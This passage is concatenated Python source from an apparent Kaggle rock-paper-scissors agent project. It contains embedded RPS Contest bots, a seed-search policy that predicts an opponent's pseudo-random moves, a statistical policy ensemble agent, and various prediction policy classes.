"7":"SP","8":"SR","9":"SS"} who_win = { "PP": 0, "PR":1 , "PS":-1, "RP": -1,"RR":0, "RS":1, "SP": 1, "SR":-1, "SS":0} index = { "P":0, "R":1, "S":2 } chance =[0]*num_predictors chance2 =[0]*num_predictors output = random.choice("RPS") predictors = [output]*num_predictors metapredictors = [output]*num_meta else: #calculate score for i in range(num_predictors): #meta 1 score1[i]*=0.8 if input==predictors[i]: score1[i]+=3 else: score1[i]-=3 #meta 2 if input==predictors[i]: score2[i]+=3 else: score2[i]=0 #meta 3 score3[i]*=0.8 if output==predictors[i]: score3[i]+=3 else: score3[i]-=3 #meta 4 if output==predictors[i]: score4[i]+=3 else: score4[i]=0 #meta 5 score5[i]*=0.8 if input==predictors[i]: score5[i]+=3 else: if chance[i]==1: chance[i]=0 score5[i]-=3 else: chance[i]=1 score5[i]=0 #meta 6 score6[i]*=0.8 if output==predictors[i]: score6[i]+=3 else: if chance2[i]==1: chance2[i]=0 score6[i]-=3 else: chance2[i]=1 score6[i]=0 #calculate metascore for i in range(num_meta): metascore[i]*=0.9 if input==metapredictors[i]: metascore[i]+=3 else: metascore[i]=0 #Predictors #if length>1: # output=beat[predict] your_his+=input my_his+=output both_his+=temp1[(input+output)] both_his2+=temp1[(output+input)] length+=1 #history matching for i in range(1): len_size = min(length,len_rfind[i]) j=len_size #both_his while j>=1 and not both_his[length-j:length] in both_his[0:length-1]: j-=1 if j>=1: k = both_his.rfind(both_his[length-j:length],0,length-1) predictors[0+6*i] = your_his[j+k] predictors[1+6*i] = beat[my_his[j+k]] else: predictors[0+6*i] = random.choice("RPS") predictors[1+6*i] = random.choice("RPS") j=len_size #your_his while j>=1 and not your_his[length-j:length] in your_his[0:length-1]: j-=1 if j>=1: k = your_his.rfind(your_his[length-j:length],0,length-1) predictors[2+6*i] = your_his[j+k] predictors[3+6*i] = beat[my_his[j+k]] else: predictors[2+6*i] = random.choice("RPS") predictors[3+6*i] = random.choice("RPS") j=len_size #my_his while j>=1 and not my_his[length-j:length] in my_his[0:length-1]: j-=1 if j>=1: k = my_his.rfind(my_his[length-j:length],0,length-1) predictors[4+6*i] = your_his[j+k] predictors[5+6*i] = beat[my_his[j+k]] else: predictors[4+6*i] = random.choice("RPS") predictors[5+6*i] = random.choice("RPS") #Reverse for i in range(3): temp ="" search = temp1[(output+input)] #last round for start in range(2, min(limit[i],length) ): if search == both_his2[length-start]: temp+=both_his2[length-start+1] if(temp==""): predictors[6+i] = random.choice("RPS") else: collectR = {"P":0,"R":0,"S":0} #take win/lose from opponent into account for sdf in temp: next_move = temp2[sdf] if(who_win[next_move]==-1): collectR[temp2[sdf][1]]+=3 elif(who_win[next_move]==0): collectR[temp2[sdf][1]]+=1 elif(who_win[next_move]==1): collectR[beat[temp2[sdf][0]]]+=1 max1 = -1 p1 ="" for key in collectR: if(collectR[key]>max1): max1 = collectR[key] p1 += key predictors[6+i] = random.choice(p1) for i in range(9,27): predictors[i]=beat[beat[predictors[i-9]]] #find prediction for each meta metapredictors[0]=predictors[score1.index(max(score1))] metapredictors[1]=predictors[score2.index(max(score2))] metapredictors[2]=beat[predictors[score3.index(max(score3))]] metapredictors[3]=beat[predictors[score4.index(max(score4))]] metapredictors[4]=predictors[score5.index(max(score5))] metapredictors[5]=beat[predictors[score6.index(max(score6))]] for i in range(6,18): metapredictors[i] = beat[metapredictors[i-6]] predict = metapredictors[metascore.index(max(metascore))] output = beat[predict] #output = random.choice(not_lose[predict]) """ """ bayes14 bot by pyfex http://www.rpscontest.com/entry/202003 """ BAYES_14 = """ # See http://overview.cc/RockPaperScissors for more information about rock, paper, scissors # Extension to bayes13: Use also the csc function for singleopp and singlemy from collections import defaultdict import operator import random if input == "": score = {'RR': 0, 'PP': 0, 'SS': 0, 'PR': 1, 'RS': 1, 'SP': 1,'RP': -1, 'SR': -1, 'PS': -1,} cscore = {'RR': 'r', 'PP': 'r', 'SS': 'r', 'PR': 'b', 'RS': 'b', 'SP': 'b','RP': 'c', 'SR': 'c', 'PS': 'c',} beat = {'P': 'S', 'S': 'R', 'R': 'P'} cede = {'P': 'R', 'S': 'P', 'R': 'S'} rps = ['R', 'P', 'S'] def counter_prob(probs): weighted_list = [] for h in ['R', 'P', 'S']: weighted = 0 for p in probs.keys(): points = score[h+p] prob = probs[p] weighted += points * prob weighted_list.append((h, weighted)) return max(weighted_list, key=operator.itemgetter(1))[0] played_probs = defaultdict(lambda: 1) opp_probs = defaultdict(lambda: defaultdict(lambda: 1)) my_probs = defaultdict(lambda: defaultdict(lambda: 1)) both_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_opp_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_my_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_both_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_opp_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_my_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_both_probs = defaultdict(lambda: defaultdict(lambda: 1)) opp2_probs = defaultdict(lambda: defaultdict(lambda: 1)) my2_probs = defaultdict(lambda: defaultdict(lambda: 1)) both2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_opp2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_my2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singleopp_both2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_opp2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_my2_probs = defaultdict(lambda: defaultdict(lambda: 1)) singlemy_both2_probs = defaultdict(lambda: defaultdict(lambda: 1)) win_probs = defaultdict(lambda: 1) lose_probs = defaultdict(lambda: 1) tie_probs = defaultdict(lambda: 1) singleopp_win_probs = defaultdict(lambda: 1) singleopp_lose_probs = defaultdict(lambda: 1) singleopp_tie_probs = defaultdict(lambda: 1) singlemy_win_probs = defaultdict(lambda: 1) singlemy_lose_probs = defaultdict(lambda: 1) singlemy_tie_probs = defaultdict(lambda: 1) opp_answers = {'c': 1, 'b': 1, 'r': 1} my_answers = {'c': 1, 'b': 1, 'r': 1} opp2_answers = {'c': 1, 'b': 1, 'r': 1} my2_answers = {'c': 1, 'b': 1, 'r': 1} singleopp_opp_answers = {'c': 1, 'b': 1, 'r': 1} singleopp_my_answers = {'c': 1, 'b': 1, 'r': 1} singleopp_opp2_answers = {'c': 1, 'b': 1, 'r': 1} singleopp_my2_answers = {'c': 1, 'b': 1, 'r': 1} singlemy_opp_answers = {'c': 1, 'b': 1, 'r': 1} singlemy_my_answers = {'c': 1, 'b': 1, 'r': 1} singlemy_opp2_answers = {'c': 1, 'b': 1, 'r': 1} singlemy_my2_answers = {'c': 1, 'b': 1, 'r': 1} patterndict = defaultdict(str) patterndict2 = defaultdict(str) opppatterndict = defaultdict(str) opppatterndict2 = defaultdict(str) mypatterndict = defaultdict(str) mypatterndict2 = defaultdict(str) csu = [0] * 6 # consecutive strategy usage csc = [] # consecutive strategy candidates singleopp_csu = [0] * 6 # consecutive strategy usage singleopp_csc = [] # consecutive strategy candidates singlemy_csu = [0] * 6 # consecutive strategy usage singlemy_csc = [] # consecutive strategy candidates output = random.choice(["R", "P", "S"]) hist = "" myhist = "" opphist = "" my = opp = my2 = opp2 = "" singleopp_my = singleopp_opp = singleopp_my2 = singleopp_opp2 = "" singlemy_my = singlemy_opp = singlemy_my2 = singlemy_opp2 = "" sc = 0 opp_strats = [] singleopp_oppstrats = [] singlemy_oppstrats = [] else: previous_opp_strats = opp_strats[:] previous_singleopp_oppstrats = singleopp_oppstrats[:] previous_singlemy_oppstrats = singlemy_oppstrats[:] previous_sc = sc sc = score[output + input] for i, c in enumerate(csc): if c == input: csu[i] += 1 else: csu[i] = 0 for i, c in enumerate(singleopp_csc): if c == input: singleopp_csu[i] += 1 else: singleopp_csu[i] = 0 for i, c in enumerate(singlemy_csc): if c == input: singlemy_csu[i] += 1 else: singlemy_csu[i] = 0 m = max(csu) opp_strats = [i for i, c in enumerate(csc) if csu[i] == m] m = max(singleopp_csu) singleopp_oppstrats = [i for i, c in enumerate(singleopp_csc) if singleopp_csu[i] == m] m = max(csu) singlemy_oppstrats = [i for i, c in enumerate(singlemy_csc) if singlemy_csu[i] == m] if previous_sc == 1: for s1 in previous_opp_strats: for s2 in opp_strats: win_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singleopp_oppstrats: for s2 in singleopp_oppstrats: singleopp_win_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singlemy_oppstrats: for s2 in singlemy_oppstrats: singlemy_win_probs[chr(s1)+chr(s2)] += 1 if previous_sc == 0: for s1 in previous_opp_strats: for s2 in opp_strats: tie_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singleopp_oppstrats: for s2 in singleopp_oppstrats: singleopp_tie_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singlemy_oppstrats: for s2 in singlemy_oppstrats: singlemy_tie_probs[chr(s1)+chr(s2)] += 1 if previous_sc == -1: for s1 in previous_opp_strats: for s2 in opp_strats: lose_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singleopp_oppstrats: for s2 in singleopp_oppstrats: singleopp_lose_probs[chr(s1)+chr(s2)] += 1 for s1 in previous_singlemy_oppstrats: for s2 in singlemy_oppstrats: singlemy_lose_probs[chr(s1)+chr(s2)] += 1 if my and opp: opp_answers[cscore[input+opp]] += 1 my_answers[cscore[input+my]] += 1 if my2 and opp2: opp2_answers[cscore[input+opp2]] += 1 my2_answers[cscore[input+my2]] += 1 if singleopp_my and singleopp_opp: singleopp_opp_answers[cscore[input+singleopp_opp]] += 1 singleopp_my_answers[cscore[input+singleopp_my]] += 1 if singleopp_my2 and singleopp_opp2: singleopp_opp2_answers[cscore[input+singleopp_opp2]] += 1 singleopp_my2_answers[cscore[input+singleopp_my2]] += 1 if singlemy_my and singlemy_opp: singlemy_opp_answers[cscore[input+singlemy_opp]] += 1 singlemy_my_answers[cscore[input+singlemy_my]] += 1 if singlemy_my2 and singlemy_opp2: singlemy_opp2_answers[cscore[input+singlemy_opp2]] += 1 singlemy_my2_answers[cscore[input+singlemy_my2]] += 1 for length in range(min(10, len(hist)), 0, -2): pattern = patterndict[hist[-length:]] if pattern: for length2 in range(min(10, len(pattern)), 0, -2): patterndict2[pattern[-length2:]] += output + input patterndict[hist[-length:]] += output + input # singleopp for length in range(min(5, len(opphist)), 0, -1): pattern = opppatterndict[opphist[-length:]] if pattern: for length2 in range(min(10, len(pattern)), 0, -2): opppatterndict2[pattern[-length2:]] += output + input opppatterndict[opphist[-length:]] += output + input # singlemy for length in range(min(5, len(myhist)), 0, -1): pattern = mypatterndict[myhist[-length:]] if pattern: for length2 in range(min(10, len(pattern)), 0, -2): mypatterndict2[pattern[-length2:]] += output + input mypatterndict[myhist[-length:]] += output + input played_probs[input] += 1 opp_probs[opp][input] += 1 my_probs[my][input] += 1 both_probs[my+opp][input] += 1 opp2_probs[opp2][input] += 1 my2_probs[my2][input] += 1 both2_probs[my2+opp2][input] += 1 hist += output + input myhist += output opphist += input my = opp = my2 = opp2 = "" singleopp_my = singleopp_opp = singleopp_my2 = singleopp_opp2 = "" singlemy_my = singlemy_opp = singlemy_my2 = singlemy_opp2 = "" for length in range(min(10, len(hist)), 0, -2): pattern = patterndict[hist[-length:]] if pattern != "": my = pattern[-2] opp = pattern[-1] for length2 in range(min(10, len(pattern)), 0, -2): pattern2 = patterndict2[pattern[-length2:]] if pattern2 != "": my2 = pattern2[-2] opp2 = pattern2[-1] break break # singleopp for length in range(min(5, len(opphist)), 0, -1): pattern = opppatterndict[opphist[-length:]] if pattern != "": singleopp_my = pattern[-2] singleopp_opp = pattern[-1] for length2 in range(min(10, len(pattern)), 0, -2): pattern2 = opppatterndict2[pattern[-length2:]] if pattern2 != "": singleopp_my2 = pattern2[-2] singleopp_opp2 = pattern2[-1] break break # singlemy for length in range(min(5, len(myhist)), 0, -1): pattern = mypatterndict[myhist[-length:]] if pattern != "": singlemy_my = pattern[-2] singlemy_opp = pattern[-1] for length2 in range(min(10, len(pattern)), 0, -2): pattern2 = mypatterndict2[pattern[-length2:]] if pattern2 != "": singlemy_my2 = pattern2[-2] singlemy_opp2 = pattern2[-1] break break probs = {} for hand in rps: probs[hand] = played_probs[hand] if my and opp: for hand in rps: probs[hand] *= opp_probs[opp][hand] * my_probs[my][hand] * both_probs[my+opp][hand] probs[hand] *= opp_answers[cscore[hand+opp]] * my_answers[cscore[hand+my]] csc = [opp, beat[opp], cede[opp], my, cede[my], beat[my]] strats_for_hand = {'R': [], 'P': [], 'S': []} for i, c in enumerate(csc): strats_for_hand[c].append(i) if sc == 1: pr = win_probs if sc == 0: pr = tie_probs if sc == -1: pr = lose_probs for hand in rps: for s1 in opp_strats: for s2 in strats_for_hand[hand]: probs[hand] *= pr[chr(s1)+chr(s2)] else: csc = [] if singleopp_my and singleopp_opp: for hand in rps: probs[hand] *= singleopp_opp_probs[singleopp_opp][hand] * \ singleopp_my_probs[singleopp_my][hand] * \ singleopp_both_probs[singleopp_my+singleopp_opp][hand] probs[hand] *= singleopp_opp_answers[cscore[hand+singleopp_opp]] * singleopp_my_answers[cscore[hand+singleopp_my]] singleopp_csc = [singleopp_opp, beat[singleopp_opp], cede[singleopp_opp], singleopp_my, cede[singleopp_my], beat[singleopp_my]] strats_for_hand = {'R': [], 'P': [], 'S': []} for i, c in enumerate(singleopp_csc): strats_for_hand[c].append(i) if sc == 1: pr = singleopp_win_probs if sc == 0: pr = singleopp_tie_probs if sc == -1: pr = singleopp_lose_probs for hand in rps: for s1 in singleopp_oppstrats: for s2 in strats_for_hand[hand]: probs[hand] *= pr[chr(s1)+chr(s2)] else: singleopp_csc = [] if singlemy_my and singlemy_opp: for hand in rps: probs[hand] *= singlemy_opp_probs[singlemy_opp][hand] * \ singlemy_my_probs[singlemy_my][hand] * \ singlemy_both_probs[singlemy_my+singlemy_opp][hand] probs[hand] *= singlemy_opp_answers[cscore[hand+singlemy_opp]] * singlemy_my_answers[cscore[hand+singlemy_my]] singlemy_csc = [singlemy_opp, beat[singlemy_opp], cede[singlemy_opp], singlemy_my, cede[singlemy_my], beat[singlemy_my]] strats_for_hand = {'R': [], 'P': [], 'S': []} for i, c in enumerate(singlemy_csc): strats_for_hand[c].append(i) if sc == 1: pr = singlemy_win_probs if sc == 0: pr = singlemy_tie_probs if sc == -1: pr = singlemy_lose_probs for hand in rps: for s1 in singlemy_oppstrats: for s2 in strats_for_hand[hand]: probs[hand] *= pr[chr(s1)+chr(s2)] else: singlemy_csc = [] if my2 and opp2: for hand in rps: probs[hand] *= opp2_probs[opp2][hand] * my2_probs[my2][hand] * both2_probs[my2+opp2][hand] probs[hand] *= opp2_answers[cscore[hand+opp2]] * my2_answers[cscore[hand+my2]] if singleopp_my2 and singleopp_opp2: for hand in rps: probs[hand] *= singleopp_opp2_probs[singleopp_opp2][hand] *\ singleopp_my2_probs[singleopp_my2][hand] *\ singleopp_both2_probs[singleopp_my2+singleopp_opp2][hand] probs[hand] *= singleopp_opp2_answers[cscore[hand+singleopp_opp2]] * \ singleopp_my2_answers[cscore[hand+singleopp_my2]] if singlemy_my2 and singlemy_opp2: for hand in rps: probs[hand] *= singlemy_opp2_probs[singlemy_opp2][hand] *\ singlemy_my2_probs[singlemy_my2][hand] *\ singlemy_both2_probs[singlemy_my2+singlemy_opp2][hand] probs[hand] *= singlemy_opp2_answers[cscore[hand+singlemy_opp2]] * \ singlemy_my2_answers[cscore[hand+singlemy_my2]] output = counter_prob(probs) """ --- FILE SEPARATOR --- # Importing important imports import numpy as np import pandas as pd import random # Global Variables from rpskaggle.helpers import Policy, one_hot, EQUAL_PROBS class SeedSearchPolicy(Policy): """ Trying to crack seeds Adapted from Taaha Khan´s notebook "RPS: Cracking Random Number Generators" https://www.kaggle.com/taahakhan/rps-cracking-random-number-generators """ def __init__(self, seed_count: int): super().__init__() self.name = "seed_search_policy" self.is_deterministic = True # Actually not, but we don´t need a strict version self.seeds = list(range(seed_count)) self.previous_moves = [] def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: # Saving the current state init_state = random.getstate() next_move = -1 # If there still are multiple candidates if len(history) > 0 and len(self.seeds) > 1: # Saving previous moves self.previous_moves.append(int(history.loc[step - 1, "opponent_action"])) # Checking each possible seed for i in range(len(self.seeds) - 1, -1, -1): # Running for previous moves random.seed(self.seeds[i]) for s in range(step): move = random.randint(0, 2) # Testing their move order if move != self.previous_moves[s]: self.seeds.pop(i) break # Seed found: Get the next move elif len(self.seeds) == 1: random.seed(self.seeds[0]) for _ in range(step): move = random.randint(0, 2) next_move = random.randint(0, 2) # Resetting the state to not interfere with the opponent random.setstate(init_state) if next_move > -1: return one_hot((next_move + 1) % 3) return EQUAL_PROBS --- FILE SEPARATOR --- from rpskaggle.helpers import * class SinglePolicyAgent(RPSAgent): """ An agent employing a single policy """ def __init__(self, policy: Policy, configuration): super().__init__(configuration) self.policy = policy def act(self) -> int: return int( np.random.choice( range(SIGNS), p=self.policy.probabilities(self.step, self.score, self.history), ) ) --- FILE SEPARATOR --- from random import randint from rpskaggle.policies import * logging.basicConfig(level=logging.INFO) class StatisticalPolicyEnsembleAgent(RPSAgent): """ evaluates the performance of different policies and assigns each policy a weight based on the policy´s historical performance After that the combined weighted probabilities from the policies are used as a probability distribution for the agent´s actions """ def __init__(self, configuration, strict: bool = False): super().__init__(configuration) self.strict_agent = strict self.policies = get_policies() if self.strict_agent: self.policies = [ policy for policy in self.policies if policy.is_deterministic ] self.name_to_policy = {policy.name: policy for policy in self.policies} # The different combinations of decay values, reset probabilities and zero clips self.configurations = [ (0.5, 0.0, False), (0.8, 0.0, False), (0.8866, 0.0, False), (0.93, 0.0, False), (0.9762, 0.05, True), (0.9880, 0.0, False), (0.99815, 0.1, False), (1.0, 0.0, False), ] self.configuration_performance_decay = 0.95 # Create a data frame with the historical performance of the policies policy_names = [policy.name for policy in self.policies] self.policies_performance = pd.DataFrame(columns=["step"] + policy_names) self.policies_performance.set_index("step", inplace=True) # The last scores for each configuration self.policy_scores_by_configuration = np.zeros( (len(self.configurations), len(self.policies)), dtype=np.float64 ) # Also record the performance of the different configurations self.last_probabilities_by_configuration = { decay: EQUAL_PROBS for decay in self.configurations } self.configurations_performance = pd.DataFrame( columns=["step"] + [str(config) for config in self.configurations] ) self.configurations_performance.set_index("step", inplace=True) def act(self) -> int: if len(self.history) > 0: # Update the historical performance for each policy and for each decay value self.update_performance() # Get the new probabilities from every policy policy_probs = np.array( [ policy.probabilities(self.step, self.score, self.history) for policy in self.policies ] ) if len(self.history) > 0: # Determine the performance scores of the policies for each configuration and calculate their respective weights using a dirichlet distribution config_probs = [] for config_index, conf in enumerate(self.configurations): decay, reset_prob, clip_zero = conf policy_scores = self.policy_scores_by_configuration[config_index, :] policy_weights = np.random.dirichlet( 4 * (policy_scores - np.min(policy_scores)) + 0.1 ) highest = (-policy_weights).argsort()[:3] p = ( 0.7 * policy_probs[highest[0]] + 0.2 * policy_probs[highest[1]] + 0.1 * policy_probs[highest[2]] ) if self.strict_agent: p = one_hot(int(np.argmax(p))) config_probs.append(p) # Save the probabilities to evaluate the performance of this decay value in the next step self.last_probabilities_by_configuration[conf] = p logging.debug( "Configuration " + str(conf) + " probabilities: " + str(p) ) # Determine the performance scores for the different configurations and calculate their respective weights # Apply a decay to the historical scores configuration_scores = ( self.configurations_performance * np.flip( np.power( self.configuration_performance_decay, np.arange(len(self.configurations_performance)), ) ).reshape((-1, 1)) ).sum(axis=0) * 3 configuration_weights = np.random.dirichlet( configuration_scores - np.min(configuration_scores) + 0.01 ) for decay_index, probs in enumerate(config_probs): if np.min(probs) > 0.28: # Don't take predictions with a high amount of uncertainty into account configuration_weights[decay_index] = 0 if np.sum(configuration_weights) > 0.2: configuration_weights *= 1 / np.sum(configuration_weights) # Select the configuration with the highest value probabilities = config_probs[np.argmax(configuration_weights)] else: probabilities = EQUAL_PROBS logging.info( "Statistical Policy Ensemble | Step " + str(self.step) + " | score: " + str(self.score) + " probabilities: " + str(probabilities) ) # Play randomly for the first 100-200 steps if ( self.step < 100 + randint(0, 100) and get_score(self.alternate_history, 15) < 6 ): action = self.random.randint(0, 2) if self.random.randint(0, 3) == 1: # We don´t want our random seed to be cracked. action = (action + 1) % SIGNS return action if self.strict_agent: action = int(np.argmax(probabilities)) else: action = int(np.random.choice(range(SIGNS), p=probabilities)) return action def update_performance(self): # Determine the scores for the different actions (Win: 1, Tie: 0, Loss: -1) scores = [0, 0, 0] opponent_action = self.obs.lastOpponentAction scores[(opponent_action + 1) % 3] = 1 scores[(opponent_action + 2) % 3] = -1 # Policies for policy_name, policy in self.name_to_policy.items(): # Calculate the policy´s score for the last step probs = policy.history[-1] score = np.sum(probs * scores) # Save the score to the performance data frame self.policies_performance.loc[self.step - 1, policy_name] = score # Configurations for config_index, config in enumerate(self.configurations): decay, reset_prob, clip_zero = config # Calculate the score for the last step probs = self.last_probabilities_by_configuration[config] score = np.sum(probs * scores) # Apply the decay to the current score and add the new scores new_scores = ( self.policy_scores_by_configuration[config_index] * decay + self.policies_performance.loc[self.step - 1, :].to_numpy() ) # Zero clip if clip_zero: new_scores[new_scores < 0] = 0 # Reset losing policies with a certain probability if reset_prob > 0: policy_scores = self.policies_performance.loc[ self.step - 1, : ].to_numpy() to_reset = np.logical_and( policy_scores < -0.4, new_scores > 0, np.random.random(len(self.policies)) < reset_prob, ) new_scores[to_reset] = 0 self.policy_scores_by_configuration[config_index] = new_scores # Save the score to the performance data frame self.configurations_performance.loc[self.step - 1, str(config)] = score AGENT = None def statistical_policy_ensemble(observation, configuration) -> int: global AGENT if AGENT is None: AGENT = StatisticalPolicyEnsembleAgent(configuration) action, history = AGENT.agent(observation) return action --- FILE SEPARATOR --- import logging from collections import defaultdict from typing import List from sklearn.ensemble import RandomForestClassifier from rpskaggle.agents.anti_geo import AntiGeometryPolicy from rpskaggle.agents.geometry_agent import GeometryPolicy from rpskaggle.agents.greenberg_policy import GreenbergPolicy from rpskaggle.agents.iocaine_powder_policy import IocainePolicy from rpskaggle.agents.seed_searcher import SeedSearchPolicy from rpskaggle.helpers import * class RandomPolicy(Policy): """ returns equal probabilities for all actions """ def __init__(self): super().__init__() self.name = "random_policy" def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: return EQUAL_PROBS class IncrementPolicy(Policy): """ turns all actions given by a policy into their counters """ def __init__(self, policy: Policy): super().__init__() self.policy = policy self.name = "incremented_" + policy.name self.is_deterministic = policy.is_deterministic def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: # Return equal probabilities if the history of the policy is empty if len(self.policy.history) == 0: return EQUAL_PROBS return np.roll(self.policy.history[-1], 1) class CounterPolicy(Policy): """ a policy countering the specified policy assuming the opponent uses this policy """ def __init__(self, policy: Policy): super().__init__() self.policy = policy self.name = "counter_" + policy.name self.is_deterministic = policy.is_deterministic def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: probs = self.policy._get_probs( step, -score, history.rename( columns={"action": "opponent_action", "opponent_action": "action"} ), ) return np.roll(probs, 1) class PhasedCounterPolicy(Policy): """ a policy countering the specified policy based on @superant´s finding regarding the phase shift as a counter to stochastical agents https://www.kaggle.com/superant/anti-opp-transition-matrix-beating-stochastic """ def __init__(self, policy: Policy): super().__init__() self.policy = policy self.name = "phased_counter_" + policy.name self.is_deterministic = False def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: probs = self.policy._get_probs( step, -score, history.rename( columns={"action": "opponent_action", "opponent_action": "action"} ), ) # Add 1 to the action with a probability of 40% return 0.4 * np.roll(probs, 1) + 0.6 * probs class StrictPolicy(Policy): """ always selects the action with the highest probability for a given policy """ def __init__(self, policy: Policy): super().__init__() self.policy = policy self.name = "strict_" + policy.name self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(self.policy.history) == 0: return EQUAL_PROBS probs = np.copy(self.policy.history[-1]) action = np.argmax(probs) probs[:] = 0 probs[action] = 1 return probs class AlternatePolicy(Policy): """ Alternates between the specified policies every interval steps """ def __init__(self, policies: List[Policy], interval: int): super().__init__() self.name = ( "alternate_" + ("_".join([policy.name.replace("_policy", "") for policy in policies])) + "_policies" ) self.is_deterministic = all([policy.is_deterministic for policy in policies]) self.policies = policies self.interval = interval self.current_policy = 0 def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if step % self.interval == 0: # Alternate self.current_policy = (self.current_policy + 1) % len(self.policies) return self.policies[self.current_policy]._get_probs(step, score, history) class SequencePolicy(Policy): """ chooses actions from a specified sequence """ def __init__(self, sequence: List[int], sequence_name: str): super().__init__() self.sequence = sequence self.name = sequence_name + "_sequence_policy" self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: return one_hot(self.sequence[step] % 3) class DeterministicRPSContestPolicy(Policy): """ a wrapper to run RPS Contest bots Adapted from https://www.kaggle.com/purplepuppy/running-rpscontest-bots """ def __init__(self, code, agent_name): super().__init__() self.name = "deterministic_" + agent_name + "_policy" self.is_deterministic = True self.code = compile(code, "<string>", "exec") self.gg = dict() self.symbols = {"R": 0, "P": 1, "S": 2} def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: try: inp = ( "" if len(history) < 1 else "RPS"[int(history.loc[step - 1, "opponent_action"])] ) out = ( "" if len(history) < 1 else "RPS"[int(history.loc[step - 1, "action"])] ) self.gg["input"] = inp self.gg["output"] = out exec(self.code, self.gg) return one_hot(self.symbols[self.gg["output"]]) except Exception as exception: logging.error("An error ocurred in " + self.name + " : " + str(exception)) return EQUAL_PROBS class ProbabilisticRPSContestPolicy(Policy): """ a wrapper to run modified probabilistic RPS Contest bots Adapted from https://www.kaggle.com/purplepuppy/running-rpscontest-bots """ def __init__(self, code, agent_name): super().__init__() self.name = "probabilistic_" + agent_name + "_policy" self.is_deterministic = True self.code = compile(code, "<string>", "exec") self.gg = dict() self.symbols = {"R": 0, "P": 1, "S": 2} def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: try: inp = ( "" if len(history) < 1 else "RPS"[int(history.loc[step - 1, "opponent_action"])] ) out = ( "" if len(history) < 1 else "RPS"[int(history.loc[step - 1, "action"])] ) self.gg["input"] = inp self.gg["output"] = out exec(self.code, self.gg) return np.array(self.gg["output"]) except Exception as exception: logging.error("An error ocurred in " + self.name + " : " + str(exception)) return EQUAL_PROBS class FrequencyPolicy(Policy): """ chooses actions based on the frequency of the opponent´s last actions """ def __init__(self): super().__init__() self.name = "frequency_policy" def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) == 0: # Return equal probabilities at the start of the episode return EQUAL_PROBS probs = counters(history["opponent_action"]).value_counts( normalize=True, sort=False ) for i in range(SIGNS): if i not in probs.keys(): probs.loc[i] = 0.0 probs.sort_index(inplace=True) return probs.to_numpy() class CopyLastActionPolicy(Policy): """ copies the last action of the opponent """ def __init__(self): super().__init__() self.name = "copy_last_action_policy" self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) == 0: # Return equal probabilities at the start of the episode return EQUAL_PROBS probs = np.zeros((3,), dtype=np.float) probs[int(history.loc[step - 1, "opponent_action"])] = 1.0 return probs class TransitionMatrixPolicy(Policy): """ uses a simple transition matrix to predict the opponent´s next action and counter it Adapted from https://www.kaggle.com/group16/rps-opponent-transition-matrix """ def __init__(self): super().__init__() self.name = "transition_matrix_policy" self.T = np.zeros((3, 3), dtype=np.int) self.P = np.zeros((3, 3), dtype=np.float) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) > 1: # Update the matrices last_action = int(history.loc[step - 1, "opponent_action"]) self.T[int(history.loc[step - 2, "opponent_action"]), last_action] += 1 self.P = np.divide(self.T, np.maximum(1, self.T.sum(axis=1)).reshape(-1, 1)) if np.sum(self.P[last_action, :]) == 1: return np.roll(self.P[last_action, :], 1) return EQUAL_PROBS class TransitionTensorPolicy(Policy): """ similar to TransitionMatrixPolicy, but takes both agent´s actions into account """ def __init__(self): super().__init__() self.name = "transition_tensor_policy" self.T = np.zeros((3, 3, 3), dtype=np.int) self.P = np.zeros((3, 3, 3), dtype=np.float) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) > 1: # Update the matrices last_action = int(history.loc[step - 1, "action"]) opponent_last_action = int(history.loc[step - 1, "opponent_action"]) self.T[ int(history.loc[step - 2, "opponent_action"]), int(history.loc[step - 2, "action"]), last_action, ] += 1 self.P = np.divide( self.T, np.maximum(1, self.T.sum(axis=2)).reshape(-1, 3, 1) ) if np.sum(self.P[opponent_last_action, last_action, :]) == 1: return np.roll(self.P[opponent_last_action, last_action, :], 1) return EQUAL_PROBS class MaxHistoryPolicy(Policy): """ searches for similar situations in the game history and assumes the past is doomed to repeat itself prefers the longest matching sequence """ def __init__(self, max_sequence_length: int): super().__init__() self.name = "max_history_policy" self.max_sequence_length = max_sequence_length self.sequences = defaultdict(lambda: np.zeros((3,), dtype=np.int)) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) < 2: # return equal probabilities at the start of the game return EQUAL_PROBS # Update the stored sequences with the opponent´s last move for sequence_length in range( 1, min(len(history) - 1, self.max_sequence_length) + 1 ): sequence = np.array2string( history.iloc[-sequence_length - 1 : -1].to_numpy() ) self.sequences[sequence][int(history.loc[step - 1, "opponent_action"])] += 1 # Try to find a match for the current history and get the corresponding probabilities for sequence_length in range( min(len(history), self.max_sequence_length), 0, -1 ): # Determine whether the sequence has already occurred sequence = 